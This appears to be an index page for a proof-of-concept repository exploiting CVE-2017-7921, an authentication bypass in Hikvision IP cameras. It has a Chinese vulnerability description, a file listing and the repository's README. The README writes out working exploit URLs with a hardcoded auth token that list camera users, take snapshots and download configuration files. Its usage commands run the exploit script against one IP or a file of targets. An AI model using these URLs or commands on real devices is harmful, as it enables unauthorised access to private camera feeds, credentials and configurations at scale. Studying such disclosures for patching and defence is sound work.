CVE-2017-7921 PoC — 多款Hikvision产品安全漏洞

Source

https://github.com/JrDw0/CVE-2017-7921-EXP

Associated Vulnerability

Title:多款Hikvision产品安全漏洞 (CVE-2017-7921)
Description:Hikvision DS-2CD2xx2F-I Series等都是中国海康威视（Hikvision）公司的网络摄像头产品。多款Hikvision产品中存在身份验证漏洞。攻击者可利用该漏洞提升权限，获取敏感信息的访问权限。以下产品和版本受到影响：Hikvision DS-2CD2xx2F-I Series 5.2.0 build 140721版本至5.4.0 build 160530版本；DS-2CD2xx0F-I Series 5.2.0 build 140721版本至5.4.0 Build 16040

Description

Hikvision camera CVE-2017-7921-EXP

Readme

# CVE-2017-7921 Exploit

An Improper Authentication issue was discovered in Hikvision  devices.

    The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users.

    This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.



    https://seclists.org/fulldisclosure/2017/Sep/23



    Vulnerability details:

    \----------------------

    Retrieve a list of all users and their roles:

        http://camera.ip/Security/users?auth=YWRtaW46MTEK

    Obtain a camera snapshot without authentication:

        http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

    And worst of all, one can download camera configuration:

        http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK



## Install dependence

```python
python3 -m pip install -r requirements.txt
```

## Usage

```python3
python3 CVE_2017_7921_EXP.py -t xxx.xx.xx.xx run
python3 CVE_2017_7921_EXP.py -t ./targets.txt run
```

## Screenshot

![](./Screenshot.jpg)

File Snapshot


 [4.0K]  /data/pocs/9af4ad04d2e1a0808db54d8da08703e56505c021
├── [5.2K]  CVE_2017_7921_EXP.py
├── [1.1K]  README.md
├── [  45]  requirements.txt
└── [692K]  Screenshot.jpg

0 directories, 4 files

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